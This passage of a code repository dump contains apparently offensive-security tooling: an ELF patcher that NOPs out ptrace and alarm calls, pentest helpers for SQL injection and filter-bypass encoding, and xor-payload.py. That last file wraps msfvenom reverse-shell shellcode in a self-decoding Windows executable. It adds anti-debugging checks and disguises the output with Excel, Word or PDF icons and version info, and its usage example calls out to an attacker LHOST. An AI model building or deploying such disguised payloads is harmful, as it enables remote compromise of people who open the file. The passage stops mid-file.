text.header.sh_offset 103 | xrefs += [ { "offset": offset, "length": insn.size } ] 104 | log.info("{:#x}: call {:s}@plt (offset={:d}, length={:d})".format(insn.address, callname, offset, insn.size)) 105 | return xrefs 106 | 107 | 108 | class X64(X86): 109 | def get_call_plt(self, cfg, got_value): 110 | elf = cfg.elf 111 | cs = cfg.cs 112 | plt = elf.get_section_by_name(".plt") 113 | code = plt.data() 114 | addr = plt.header.sh_addr 115 | for insn in cs.disasm(code, addr): 116 | if insn.mnemonic == "jmp": 117 | value = None 118 | for op in insn.operands: 119 | if op.type==X86_OP_MEM and insn.reg_name(op.mem.base)=="rip" and op.mem.index==0: 120 | value = insn.address + insn.size + op.mem.disp 121 | if value == got_value: 122 | return insn.address 123 | return None 124 | 125 | 126 | class ARM(Arch): 127 | def get_call_plt(self, cfg, got_value): 128 | plt = cfg.elf.get_section_by_name(".plt") 129 | got_off = 0 130 | 131 | for insn in cfg.cs.disasm(plt.data(), plt.header.sh_addr): 132 | if insn.mnemonic == "add": 133 | select = False 134 | for op in insn.operands: 135 | if op.type==ARM_OP_REG and insn.reg_name(op.reg)=="ip": select=True 136 | if op.type==ARM_OP_IMM and select: 137 | got_off = op.imm 138 | log.debug("got offset={:#x}".format(got_off)) 139 | continue 140 | 141 | if insn.mnemonic == "ldr" and got_off > 0: 142 | value = None 143 | for op in insn.operands: 144 | if op.type==ARM_OP_MEM and insn.reg_name(op.mem.base)=="ip" and op.mem.index==0: 145 | value = got_off + insn.address + op.mem.disp 146 | if value == got_value: 147 | return insn.address - 8 148 | return None 149 | 150 | def get_xrefs(self, cfg, plt_value): 151 | xrefs = [] 152 | text = cfg.elf.get_section_by_name(".text") 153 | 154 | for insn in cfg.cs.disasm(text.data(), text.header.sh_addr): 155 | if insn.mnemonic == "bl": 156 | for op in insn.operands: 157 | value = None 158 | if op.type == ARM_OP_IMM: 159 | value = op.imm 160 | if value == plt_value: 161 | offset = insn.address - text.header.sh_addr + text.header.sh_offset 162 | xrefs += [ { "offset": offset, "length": insn.size } ] 163 | log.info("{:#x}: bl {:s}@plt (offset = {:d})".format(insn.address, callname, offset)) 164 | return xrefs 165 | 166 | 167 | class AARCH64(ARM): 168 | def get_call_plt(self, cfg, got_value): 169 | plt = cfg.elf.get_section_by_name(".plt") 170 | got_base= cfg.elf.get_section_by_name(".got.plt").header.sh_addr + 0x18 171 | log.debug(".got.plt base={:#x}".format(got_base)) 172 | 173 | for insn in cfg.cs.disasm(plt.data(), plt.header.sh_addr): 174 | if insn.mnemonic == "ldr": 175 | value = None 176 | for op in insn.operands: 177 | if op.type==ARM64_OP_MEM and insn.reg_name(op.mem.base)=="x16" and op.mem.index==0: 178 | value = got_base + op.mem.disp 179 | 180 | if value == got_value: 181 | return insn.address-4 182 | return None 183 | 184 | def get_xrefs(self, cfg, plt_value): 185 | xrefs = [] 186 | text = cfg.elf.get_section_by_name(".text") 187 | 188 | for insn in cfg.cs.disasm(text.data(), text.header.sh_addr): 189 | if insn.mnemonic == "bl": 190 | for op in insn.operands: 191 | value = None 192 | if op.type == ARM64_OP_IMM: 193 | value = op.imm 194 | print("{:#x} bl {:#x}".format(insn.address, value)) 195 | if value == plt_value: 196 | offset = insn.address - text.header.sh_addr + text.header.sh_offset 197 | xrefs += [ { "offset": offset, "length": insn.size } ] 198 | log.info("{:#x}: bl {:s}@plt (offset = {:d})".format(insn.address, callname, offset)) 199 | 200 | return xrefs 201 | 202 | 203 | 204 | class MIPS(Arch): 205 | pass 206 | 207 | 208 | def find_call(cfg, callname): 209 | elf = cfg.elf 210 | cs = cfg.cs 211 | arch = cfg.arch 212 | path = cfg.original_filename 213 | log.info("looking for '{}' calls in '{}'".format(callname, path)) 214 | 215 | call_got = arch.get_call_got(cfg) 216 | if not call_got: 217 | log.error("No GOT entry for '{}'".format(callname)) 218 | return [] 219 | 220 | log.debug("{}@got = {:#x}".format(callname, call_got)) 221 | 222 | call_plt = arch.get_call_plt(cfg, call_got) 223 | if not call_plt: 224 | log.error("No PLT entry for '{}'".format(callname)) 225 | return [] 226 | 227 | log.debug("{}@plt = {:#x}".format(callname, call_plt)) 228 | return arch.get_xrefs(cfg, call_plt) 229 | 230 | 231 | def overwrite_xref(cfg, xref): 232 | from_file = cfg.original_filename 233 | to_file = cfg.patched_filename 234 | log.info("creating patched file: '{}' -> '{}'".format(from_file, to_file)) 235 | shutil.copy2(from_file, to_file) 236 | with open(to_file, "rb+") as fd: 237 | for x in sorted(xref, key=lambda x: x["offset"]): 238 | fd.seek(x["offset"]) 239 | l = x["length"] 240 | if cfg.asm: 241 | if len(cfg.asm) <= l: 242 | fd.write(cfg.asm + cfg.nop*(l-len(cfg.asm))) 243 | continue 244 | 245 | log.warning("Instruction too large (room_size={}, insn_len={}), using nop".format(l, len(cfg.asm))) 246 | 247 | if cfg.arch.__class__.__name__ in ("X86", "X64"): 248 | fd.write(cfg.nop*l) 249 | else: 250 | fd.write(cfg.nop) 251 | 252 | log.info("Successfully patched to file '{}'".format(to_file)) 253 | return 254 | 255 | 256 | if __name__ == "__main__": 257 | parser = argparse.ArgumentParser(usage = __usage__, description = __desc__) 258 | parser.add_argument("-v", "--verbose", default=False, action="store_true", dest="verbose", 259 | help="increments verbosity") 260 | parser.add_argument("--debug", default=False, action="store_true", dest="debug", 261 | help="enable debugging messages") 262 | parser.add_argument("-c", "--call", dest="calls", nargs="+", default=["ptrace", "alarm"], 263 | help="Specify the call to patch. Can be repeated (default : %(default)s)") 264 | parser.add_argument("--to-file", dest="to_file", default=None, 265 | help="Patched binary name") 266 | parser.add_argument("-a", "--assembly", dest="asm", type=str, default=None, 267 | help="Write ASSEMBLY instead of NOP") 268 | parser.add_argument("-L", "--list", dest="list_plt_entries", action="store_true", default=False, 269 | help="Dumps the patchable locations from binary") 270 | parser.add_argument("binary", nargs="?", default="a.out", 271 | help="specify the binary to patch (default: '%(default)s')") 272 | args = parser.parse_args() 273 | 274 | fmt = "%(asctime)-15s {0} - %(message)s".format(termcolor.colored("%(levelname)s",attrs=["bold"])) 275 | logging.basicConfig(format=fmt) 276 | 277 | if args.debug: 278 | log.setLevel(logging.DEBUG) 279 | log.debug("Debug mode enabled") 280 | else: 281 | log.setLevel(logging.INFO) 282 | 283 | if not os.access(args.binary, os.R_OK): 284 | log.critical("Cannot read '{}'".format(args.binary)) 285 | sys.exit(1) 286 | 287 | from_file = args.binary 288 | to_file = "{}.patched".format(from_file) if args.to_file is None else args.to_file 289 | 290 | if os.access(to_file, os.R_OK): 291 | log.warning("'{}' already exists, it will be overwritten...".format(to_file)) 292 | 293 | cfg = Config() 294 | cfg.original_filename = from_file 295 | cfg.patched_filename = to_file 296 | cfg.elf = elffile.ELFFile(open(cfg.original_filename, "rb")) 297 | 298 | if cfg.elf.header.e_machine == "EM_X86_64": 299 | cfg.arch = X64() 300 | log.info("Architecture -> x86-64") 301 | from capstone.x86 import * 302 | cfg.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64|capstone.CS_MODE_LITTLE_ENDIAN) 303 | cfg.cs.detail = True 304 | cfg.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64|keystone.KS_MODE_LITTLE_ENDIAN) 305 | cfg.nop = b"\x90" # nop 306 | 307 | elif cfg.elf.header.e_machine == "EM_386": 308 | cfg.arch = X86() 309 | log.info("Architecture -> x86-32") 310 | from capstone.x86 import * 311 | cfg.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32|capstone.CS_MODE_LITTLE_ENDIAN) 312 | cfg.cs.detail = True 313 | cfg.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32|keystone.KS_MODE_LITTLE_ENDIAN) 314 | cfg.nop = b"\x90" # nop 315 | 316 | elif cfg.elf.header.e_machine == "EM_ARM": 317 | cfg.arch = ARM() 318 | log.info("Architecture -> ARM") 319 | from capstone.arm import * 320 | cfg.cs = capstone.Cs(capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM|capstone.CS_MODE_LITTLE_ENDIAN) 321 | cfg.cs.detail = True 322 | cfg.ks = keystone.Ks(keystone.KS_ARCH_ARM, keystone.KS_MODE_ARM|keystone.KS_MODE_LITTLE_ENDIAN) 323 | cfg.nop = b"\x00\x00\xa0\xe1" # mov r0, r0 324 | 325 | 326 | elif cfg.elf.header.e_machine == "EM_AARCH64": 327 | cfg.arch = AARCH64() 328 | log.info("Architecture -> AARCH64") 329 | from capstone.arm64 import * 330 | cfg.cs = capstone.Cs(capstone.CS_ARCH_ARM64, capstone.CS_MODE_ARM|capstone.CS_MODE_LITTLE_ENDIAN) 331 | cfg.cs.detail = True 332 | cfg.ks = keystone.Ks(keystone.KS_ARCH_ARM64, keystone.KS_MODE_LITTLE_ENDIAN) 333 | cfg.nop = b"\xe0\x03\x00\xaa" # mov x0, x0 334 | 335 | # TODO: 336 | # elif cfg.elf.header.e_machine == "EM_MIPS": 337 | # cfg.arch = MIPS() 338 | 339 | else: 340 | raise NotImplementedError("Architecture '{}' not supported yet".format(cfg.elf.header.e_machine)) 341 | 342 | 343 | if args.list_plt_entries: 344 | log.info("Dumping overwritable PLT entries:") 345 | for reloc in cfg.arch.get_relocs(cfg): 346 | sym = cfg.elf.get_section_by_name(".dynsym").get_symbol(reloc.entry.r_info_sym) 347 | log.info("{}()".format(sym.name)) 348 | sys.exit(0) 349 | 350 | 351 | if args.asm: 352 | asm, cnt = cfg.ks.asm(args.asm) 353 | if cnt>0: 354 | cfg.asm = bytes(asm) 355 | log.info("Matching calls will be overwritten with '{}'".format(args.asm)) 356 | log.debug("{} instruction(s) compiled".format(cnt)) 357 | else: 358 | log.info("Matching calls will be overwritten with NOPs") 359 | 360 | 361 | for callname in args.calls: 362 | xref = find_call(cfg, callname) 363 | if xref: 364 | log.info("Found {} call(s) to '{}' in '{}', patching...".format(len(xref), callname, from_file)) 365 | overwrite_xref(cfg, xref) 366 | else: 367 | log.warning("Something went wrong, not patching '{}' in '{}'".format(callname, from_file)) 368 | 369 | sys.exit(0) 370 | -------------------------------------------------------------------------------- /pentestlib.py: -------------------------------------------------------------------------------- 1 | ################################################## 2 | # 3 | # pentestlib 4 | # 5 | # Got functions and helpers useful for pentest 6 | # 7 | 8 | 9 | ################################################## 10 | # 11 | # imports 12 | # 13 | 14 | import datetime 15 | import inspect 16 | import itertools 17 | import random 18 | import re 19 | import sys 20 | 21 | try : 22 | import netaddr 23 | import requests 24 | import termcolor 25 | requests.packages.urllib3.disable_warnings() 26 | 27 | except ImportError as ie: 28 | print("[-] Failed on import: %s" % ie) 29 | exit(1) 30 | 31 | 32 | def info(msg): print(termcolor.colored("[*] ", "blue", attrs=["bold",] ) + msg) 33 | def ok(msg): print(termcolor.colored("[+] ", "green", attrs=["bold",] ) + msg) 34 | def warn(msg): print(termcolor.colored("[!] ", "orange", attrs=["bold",] ) + msg) 35 | def err(msg): print(termcolor.colored("[!] ", "red", attrs=["bold",] ) + msg) 36 | 37 | 38 | def now(): 39 | """Return the time of now, suitable for log""" 40 | return datetime.datetime.now().strftime("%d/%m/%y %H:%M:%S") 41 | 42 | 43 | 44 | ################################################## 45 | # 46 | # Binary stuff 47 | # 48 | 49 | def hexdump(source, length=0x10, separator=".", base=0x000000): 50 | """ 51 | xxd like function 52 | 53 | >>> print(hexdump(b'\\x0e\\x82\\t\\x05:\\xd6\\x8c\\xf1\\xc6L\\x94\\xb3PN>\\xfb')) 54 | 0x00000000 0e 82 09 05 3a d6 8c f1 c6 4c 94 b3 50 4e 3e fb ....:....L..PN>. 55 | >>> print(hexdump(b'\\x0e\\x82\\t\\x05:\\xd6\\x8c\\xf1\\xc6L\\x94\\xb3PN>\\xfb', 8)) 56 | 0x00000000 0e 82 09 05 3a d6 8c f1 ....:... 57 | 0x00000008 c6 4c 94 b3 50 4e 3e fb .L..PN>. 58 | """ 59 | result = [] 60 | align = 10 61 | for i in range(0, len(source), length): 62 | chunk = bytearray(source[i:i + length]) 63 | hexa = " ".join(["{:02x}".format(b) for b in chunk]) 64 | text = "".join([chr(b) if 0x20 <= b < 0x7F else separator for b in chunk]) 65 | result.append("{addr:#0{aw}x} {data:<{dw}} {text}".format(aw=align, addr=base+i, 66 | dw=3*length, data=hexa, 67 | text=text)) 68 | return "\n".join(result) 69 | 70 | 71 | 72 | 73 | ################################################## 74 | # 75 | # Web stuff 76 | # 77 | 78 | def called(): 79 | """@return called function name as a string""" 80 | return inspect.stack()[1][3] 81 | 82 | def called_line(): 83 | """@return called function line number as a string""" 84 | return inspect.stack()[1][4] 85 | 86 | def caller_name(): 87 | """@return caller function name as a string""" 88 | return inspect.stack()[2][3] 89 | 90 | def caller_line(): 91 | """@return caller function line number as a string""" 92 | return inspect.stack()[2][4] 93 | 94 | 95 | def GET(url, headers={}, proxies={}): 96 | headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)" 97 | return requests.get(url, proxies=proxies, headers=headers, verify=False) 98 | 99 | 100 | def POST(url, data={}, headers={}, proxies={}): 101 | headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)" 102 | return requests.post(url, data=data, proxies=proxies, headers=headers, verify=False) 103 | 104 | 105 | def TRACE(url, fwd_until=1, headers={}, proxies={}): 106 | """ 107 | Probe proxy presence through TRACE method 108 | ref: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html 109 | """ 110 | if fwd_until < 1: 111 | raise ValueError("Max-Forward value is too low") 112 | 113 | def do_trace(sess, max_forward): 114 | headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)" 115 | headers["Max-Forwards"] = max_forward 116 | req = requests.Request("TRACE", url, headers=headers).prepare() 117 | return s.send(req, verify=False, proxies=proxies).headers 118 | 119 | response_headers = [] 120 | s = requests.Session() 121 | for i in range(fwd_until): 122 | response_headers.append( do_trace(s, i) ) 123 | 124 | return response_headers 125 | 126 | 127 | def html_encode(string, format="html", full=False): 128 | """Encode a string in different format useful for WebApp PT 129 | Supported formats are: html/decimal/hexa 130 | 131 | >>> html_encode(" ", full=True) 132 | '%3c%68%65%6c%6c%6f%3e%20%3c%77%6f%72%6c%64%3e' 133 | >>> html_encode("", full=True, format="hexa") 134 | '<hello>' 135 | >>> html_encode("", full=True, format="blah") 136 | Traceback (most recent call last): 137 | ... 138 | ValueError: Unknown format 139 | """ 140 | if format.lower() not in ("html", "decimal", "hexa"): 141 | raise ValueError("Unknown format") 142 | 143 | res = "" 144 | for c in string: 145 | if c == '_': 146 | res += c 147 | continue 148 | if not full : 149 | if '0'<=c<='9' or 'A'<=c<='Z' or 'a'<=c<='z': 150 | res += c 151 | continue 152 | 153 | if format == "html": 154 | res += "%%%x" % ord(c) 155 | elif format == "decimal": 156 | res += "&#%s;" % ord(c) 157 | elif format == "hexa": 158 | res += "&#x%x;" % ord(c) 159 | 160 | return res 161 | 162 | 163 | def html_decode(string, format="html"): 164 | """Encode a string encoded by @@html_encode 165 | >>> html_decode("", format="blah") 166 | Traceback (most recent call last): 167 | ... 168 | ValueError: Unknown format 169 | >>> html_decode('<hello>', format="hexa") 170 | '' 171 | """ 172 | patterns = {'html':'%', 'decimal':'&#', 'hexa':'&#x'} 173 | if format not in patterns.keys() : 174 | raise ValueError("Unknown format") 175 | 176 | res = "" 177 | if format in ('dec', 'hexa'): 178 | string = string.replace(';', '') 179 | 180 | patt = patterns[format] 181 | i = string.find(patt) 182 | 183 | if i == -1: 184 | return string 185 | 186 | res += string[:i] 187 | 188 | while i != -1: 189 | j = i + len(patt) + 2 190 | l = string[i+len(patt):j] 191 | letter = int(l, 16) if format in ("html", "hexa") else int(l) 192 | res += chr(letter) 193 | 194 | i = string[j:].find(patt) 195 | if i != -1 : 196 | i += j 197 | res += string[j:i] 198 | else: 199 | res += string[j:] 200 | return res 201 | 202 | 203 | def mysql_char(s): 204 | """Translate a string to a concat of MySQL CHAR() 205 | >>> mysql_char("mysql") 206 | 'CHAR(109,121,115,113,108)' 207 | """ 208 | return "CHAR(%s)" % ",".join( [ "%d" % ord(c) for c in s ] ) 209 | 210 | 211 | def mssql_char(s): 212 | """Translate a string to a concat of Ms SQL CHAR() 213 | >>> mssql_char("mssql") 214 | 'CHAR(109)+CHAR(115)+CHAR(115)+CHAR(113)+CHAR(108)' 215 | """ 216 | return "+".join( [ "CHAR(%d)" % ord(c) for c in s ] ) 217 | 218 | 219 | class HTTPReq: 220 | """ 221 | Classe de parsing de requete HTTP Raw -> Object. 222 | Permet egalement de retourner cette requete Object -> Raw 223 | """ 224 | CRLF = "\r\n" 225 | SEP = ": " 226 | 227 | def __init__(self, req): 228 | self.method = 'GET' 229 | self.path = '/' 230 | self.version = 'HTTP/1.1' 231 | self.data = '' 232 | self.headers = {} 233 | 234 | elts = [ x for x in req.split(self.CRLF) if len(x) ] 235 | self.method, self.path, self.version = elts.pop(0).split(" ") 236 | if (req.startswith("POST ")): 237 | self.data = elts.pop() 238 | 239 | for header in elts: 240 | try : 241 | h,v = header.split(self.SEP, 1) 242 | except ValueError: 243 | h = header 244 | v = '' 245 | finally: 246 | self.headers[h] = v 247 | 248 | def is_header(self, chunk): 249 | return self.SEP in chunk 250 | 251 | def __str__(self): 252 | first = ["%s %s %s" % (self.method, self.path, self.version)] 253 | headers = ["%s%s%s" % (h,self.SEP,v) for (h,v) in self.headers.items()] 254 | 255 | if self.method == 'POST': 256 | return self.CRLF.join(first+headers+[self.data]) 257 | 258 | else : 259 | return self.CRLF.join(first+headers) 260 | 261 | 262 | 263 | ################################################## 264 | # 265 | # Some Unicode converting functions 266 | # 267 | 268 | def ucs_string(chaine, format=2, to_html=False): 269 | """Unicode converting function 270 | >>> ucs_string("test") 271 | ['c1', 'b4', 'c1', 'a5', 'c1', 'b3', 'c1', 'b4'] 272 | >>> ucs_string("test", to_html=True) 273 | '%c1%b4%c1%a5%c1%b3%c1%b4' 274 | """ 275 | def ucs_and (a, b): 276 | i = 0 277 | while i < len(b): 278 | a[i] |= b[i] 279 | i += 1 280 | 281 | res = [] 282 | for i in a : 283 | res.append('%x' % i) 284 | return res 285 | 286 | def ucs2(c): 287 | byte = int('%x' % ord(c), 16) 288 | parts = [] 289 | parts.append(byte >> 6) # 290 | parts.append(byte & 0x3f) # = 0011 1111 291 | 292 | u = [] 293 | u.append(0xC0) # = 1100 0000 294 | u.append(0x80) # = 1000 0000 295 | 296 | return ucs_and(u, parts) 297 | 298 | 299 | def ucs3(c): 300 | byte = int('%x' % ord(c), 16) 301 | 302 | parts = [] 303 | parts.append(0x00) 304 | parts.append(byte >> 6) # 305 | parts.append(byte & 0x3f) # = 0011 1111 306 | 307 | u = [] 308 | u.append(0xE0) # = 1110 0000 309 | u.append(0x80) # = 1000 0000 310 | u.append(0x80) # = 1000 0000 311 | 312 | return ucs_and(u, parts) 313 | 314 | 315 | def ucs4(c): 316 | byte = int('%x' % ord(c), 16) 317 | 318 | parts = [] 319 | parts.append(0x00) 320 | parts.append(0x00) 321 | parts.append(byte >> 6) 322 | parts.append(byte & 0x3f) # = 0011 1111 323 | 324 | u = [] 325 | u.append(0xF0) # = 1111 0000 326 | u.append(0x80) # = 1000 0000 327 | u.append(0x80) # = 1000 0000 328 | u.append(0x80) # = 1000 0000 329 | return ucs_and(u, parts) 330 | 331 | 332 | if format not in range(2,5): 333 | return -1 334 | 335 | if format == 2: func_ucs = ucs2 336 | elif format == 3: func_ucs = ucs3 337 | elif format == 4: func_ucs = ucs4 338 | else: 339 | err("Wtf ?") 340 | return -1 341 | 342 | res = [] 343 | for c in chaine: res.extend(func_ucs(c)) 344 | 345 | if not to_html: 346 | return res 347 | else: 348 | return "%"+"%".join(res) 349 | 350 | 351 | ################################################## 352 | # 353 | # Network functions 354 | # 355 | 356 | def expand_cidr(plage, out="/dev/stdout", mode="a"): 357 | """ 358 | Expands a CIDR range and write result into output file. 359 | 360 | >>> expand_cidr("192.168.0.0/30", "/dev/null", "w") 361 | 0 362 | >>> expand_cidr("783.128.0.0/13", "/dev/null", "w") 363 | Traceback (most recent call last): 364 | ... 365 | AddrFormatError: invalid IPNetwork 783.128.0.0/13 366 | """ 367 | regexp = re.compile("([0-9]{1,3}.){3}[0-9]{1,3}/[0-9]{0,2}") 368 | if not re.match(regexp, plage): 369 | return -1 370 | 371 | with open(out, mode) as f: 372 | for ip in netaddr.iter_unique_ips(plage): 373 | f.write("%s\n" % str(ip)) 374 | return 0 375 | 376 | 377 | ################################################## 378 | # 379 | # Crypto functions 380 | # 381 | 382 | def levenshtein(s, t): 383 | """ 384 | Compute Levenshtein distance between 2 strings 385 | 386 | >>> levenshtein("tset", "test") 387 | 2 388 | """ 389 | s = ' ' + s 390 | t = ' ' + t 391 | d = {} 392 | S = len(s) 393 | T = len(t) 394 | for i in range(S): 395 | d[i, 0] = i 396 | for j in range (T): 397 | d[0, j] = j 398 | for j in range(1,T): 399 | for i in range(1,S): 400 | if s[i] == t[j]: 401 | d[i, j] = d[i-1, j-1] 402 | else: 403 | d[i, j] = min(d[i-1, j] + 1, 404 | d[i, j-1] + 1, 405 | d[i-1, j-1] + 1) 406 | return d[S-1, T-1] 407 | 408 | 409 | 410 | def caesar(plaintext, shift): 411 | """ 412 | Apply Caesar shift to plaintext 413 | 414 | >>> caesar("Hello World", 13) == 'Uryyb Jbeyq' 415 | True 416 | >>> caesar("Hello World", 13) == 'Uryyb JbeZq' 417 | False 418 | >>> caesar("Hello World", 26) == "Hello World" 419 | True 420 | """ 421 | dico =[chr(i) for i in range(ord('a'), ord('z')+1) ] 422 | permut = {} 423 | for i in range(0, len(dico)): 424 | permut[dico[i]] = dico[(i + shift) % len(dico)] 425 | 426 | res = "" 427 | for c in plaintext: 428 | if c.lower() in dico: 429 | l = permut[c.lower()].upper() if c.isupper() else permut[c.lower()] 430 | else: 431 | l = c 432 | res += l 433 | return res 434 | 435 | 436 | def xor(data, key): 437 | """ XOR a string with key 438 | >>> xor('my string', 'AAA') 439 | ',8a253(/&' 440 | >>> xor(',8a253(/&', 'AAA') 441 | 'my string' 442 | """ 443 | return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) 444 | 445 | 446 | ################################################## 447 | # 448 | # SQL 449 | # 450 | 451 | def sqlparse(req, encode=None): 452 | """ 453 | Parse a SQL requet and returns it as a dict() 454 | 455 | >>> sqlparse("SELECT * FROM information_schema.columns WHERE foo = 1") 456 | {'where': 'foo = 1', 'from': 'information_schema.columns', 'select': '*'} 457 | """ 458 | keywords = ['select', 'limit', 'from', 'where'] 459 | req = req.lower() 460 | sql_blocks = {} 461 | new_req = req 462 | 463 | if encode in ("mysql", "MySQL") : 464 | convert_func = ascii2mysql 465 | elif encode in ("mssql", "SQLServer") : 466 | convert_func = ascii2mssql 467 | else: 468 | convert_func = str 469 | 470 | for i in re.findall("'[^']'", req): 471 | new_req = re.sub(i, convert_func(i.replace("'","")), new_req) 472 | req = new_req 473 | 474 | for keyword in keywords: 475 | if keyword in req: 476 | block_name = keyword 477 | block_data = "" 478 | for word in req[req.find(keyword)+len(keyword):].split(" ") : 479 | if word in keywords : break 480 | if word !='' : block_data += " " + word 481 | sql_blocks[block_name] = block_data.strip() 482 | 483 | return sql_blocks 484 | 485 | 486 | 487 | ################################################## 488 | # 489 | # Main is only used for unit testing 490 | # 491 | 492 | if __name__ == "__main__": 493 | import doctest 494 | doctest.testmod() 495 | -------------------------------------------------------------------------------- /xor-payload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | """ 4 | Vigenere-based self-decoding shellcode wrapper for Windows x86-32 (works fine on x86-64) 5 | 6 | Example: 7 | $ msfvenom -p windows/shell_reverse_tcp -f raw -b '\\x00\\xff' LHOST=192.168.56.1 LPORT=8080 \ 8 | 2>/dev/null | ./xor-payload.py -p excel 9 | 10 | @_hugsy_ 11 | 12 | Refs: 13 | - https://msdn.microsoft.com/en-us/library/aa381043(v=vs.85).aspx 14 | - MinGW-W64 (apt-get install mingw-w64 first) 15 | 16 | Todo: 17 | - add QueueUserAPC code injection technique 18 | """ 19 | 20 | import sys 21 | import struct 22 | import random 23 | import tempfile 24 | import os 25 | import subprocess 26 | import argparse 27 | 28 | try: 29 | import capstone 30 | except: 31 | pass 32 | 33 | 34 | HEADERS_C_CODE = """ 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | #define DEBUG 46 | #undef DEBUG 47 | 48 | #define BIG_NUMBER 1<<25 49 | """ 50 | 51 | STUB_C_CODE = """ 52 | DWORD WINAPI SpawnShellcode(LPVOID lpFuncPointer) 53 | { 54 | __asm__("movl %0, %%eax\\n\\t" 55 | "call %%eax" 56 | : : "r"(lpFuncPointer) : "%eax"); 57 | return 0; 58 | } 59 | 60 | 61 | int CheckNtGlobalFlag() 62 | { 63 | char *peb; 64 | unsigned int *flag; 65 | asm ("xor %%eax, %%eax;" 66 | "movl %%fs:%p1, %%eax;" 67 | "movl %%eax, %0;" 68 | : "=r" (peb) 69 | : "i"(48) 70 | : "%eax" ); 71 | flag = peb+0x68; 72 | return *flag & 0x70; 73 | } 74 | 75 | 76 | LPVOID AllocAndMap(unsigned char* sc, DWORD dwBytesToRead) 77 | { 78 | LPVOID code; 79 | DWORD dwBytesRead; 80 | DWORD dwAllocSize; 81 | SYSTEM_INFO siSysInfo; 82 | 83 | GetSystemInfo(&siSysInfo); 84 | dwAllocSize = siSysInfo.dwPageSize > dwBytesToRead ? siSysInfo.dwPageSize : dwBytesToRead; 85 | 86 | code = VirtualAlloc(NULL, dwAllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); 87 | if (!code) { 88 | #ifdef DEBUG 89 | printf("[-] VirtualAlloc\\n"); 90 | #endif 91 | return NULL; 92 | } 93 | 94 | code = memcpy(code, sc, dwBytesToRead); 95 | return code; 96 | } 97 | 98 | 99 | void DecodeShellcode(unsigned char* code, int len) 100 | { 101 | unsigned long i,j; 102 | for(j=BIG_NUMBER; j; j--){} 103 | for(i=0; i 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 263 | 264 | 265 | """) 266 | return 267 | 268 | 269 | def create_resource_file( profile_index ): 270 | global PROFILES 271 | 272 | create_application_manifest() 273 | 274 | prof = PROFILES[ profile_index ] 275 | fd, cname = tempfile.mkstemp(suffix=".rc") 276 | with os.fdopen(fd, 'w') as f: 277 | f.write("""id ICON "{0}" 278 | CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST "/tmp/Application.manifest" 279 | 1 VERSIONINFO 280 | FILEVERSION {1} 281 | PRODUCTVERSION {1} 282 | FILEFLAGS 0 283 | BEGIN 284 | BLOCK "StringFileInfo" 285 | BEGIN 286 | BLOCK "080904E4" 287 | BEGIN 288 | VALUE "CompanyName", "{2}" 289 | VALUE "FileDescription", "{3}" 290 | VALUE "FileVersion", "{1}" 291 | VALUE "InternalName", "{4}" 292 | VALUE "LegalCopyright", "{5}" 293 | VALUE "OriginalFilename", "{6}" 294 | VALUE "ProductName", "{4}" 295 | VALUE "ProductVersion", "1.0" 296 | END 297 | END 298 | 299 | BLOCK "VarFileInfo" 300 | BEGIN 301 | VALUE "Translation", 0x809, 1252 302 | END 303 | END 304 | """.format(*prof)) 305 | return cname 306 | 307 | 308 | def get_shellcode_from_stdin(): 309 | sc = [] 310 | while True: 311 | c = sys.stdin.read(1) 312 | if len(c) == 0: 313 | break 314 | sc.append(c) 315 | return sc 316 | 317 | 318 | def generate_code_file(fd, key, template="win32", show_disass=False): 319 | sc = get_shellcode_from_stdin() 320 | 321 | echo(fd, """/**\n * Vigenere encoding shellcode with key '%x'\n""" % (key,)) 322 | echo(fd, """ * Generated by %s\n**/\n\n""" % (sys.argv[0],)) 323 | 324 | echo(fd, HEADERS_C_CODE) 325 | echo(fd, "unsigned char key = %d;\n" % key) 326 | 327 | if show_disass: 328 | echo(fd, "unsigned char decoded_shellcode[]={\n") 329 | eng = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) 330 | for insn in eng.disasm(''.join(sc), 0x1000): 331 | echo(fd, """\t%-60s ;; %s\t%s\n""" % ('"'+''.join(["\\x%02x" % i for i in insn.bytes])+'"' , insn.mnemonic, insn.op_str)) 332 | echo(fd, "};\n\n") 333 | 334 | echo(fd, 'unsigned char encoded_shellcode[]=\n') 335 | echo(fd, '"') 336 | i = 1 337 | for c in sc: 338 | a = ord(c) ^ key 339 | echo(fd, "\\x%.2x" % a) 340 | if i % 15 == 0: 341 | echo(fd, '"\n') 342 | echo(fd, '"') 343 | i += 1 344 | key = (key + 1)%256 345 | echo(fd, '";\n') 346 | 347 | echo(fd, STUB_C_CODE) 348 | 349 | if template == "win32": 350 | echo(fd, TEMPLATE_WIN32_CODE) 351 | elif template == "exe": 352 | echo(fd, TEMPLATE_EXE_CODE) 353 | elif template == "dll": 354 | echo(fd, TEMPLATE_DLL_CODE) 355 | 356 | os.close(fd) 357 | return 358 | 359 | 360 | if __name__ == "__main__": 361 | res_o = "" 362 | available_profiles = ["powerpoint", "excel", "word", "flash", "pdf",] 363 | HOME = os.getenv("HOME") 364 | 365 | parser = argparse.ArgumentParser(description="Yet another payload encoder") 366 | parser.add_argument("-p", "--profile", default=None, metavar="PROFILE", 367 | help="Specify the profile to use ({})".format(available_profiles)) 368 | parser.add_argument("-q", "--quiet", action="store_true", help="Disable verbose output", default=False) 369 | parser.add_argument("-o", "--output", default=None, help="Specify an output file") 370 | parser.add_argument("--dll", default=False, action="store_true", help="Generate a DLL") 371 | parser.add_argument("--exe", default=False, action="store_true", help="Generate a PE 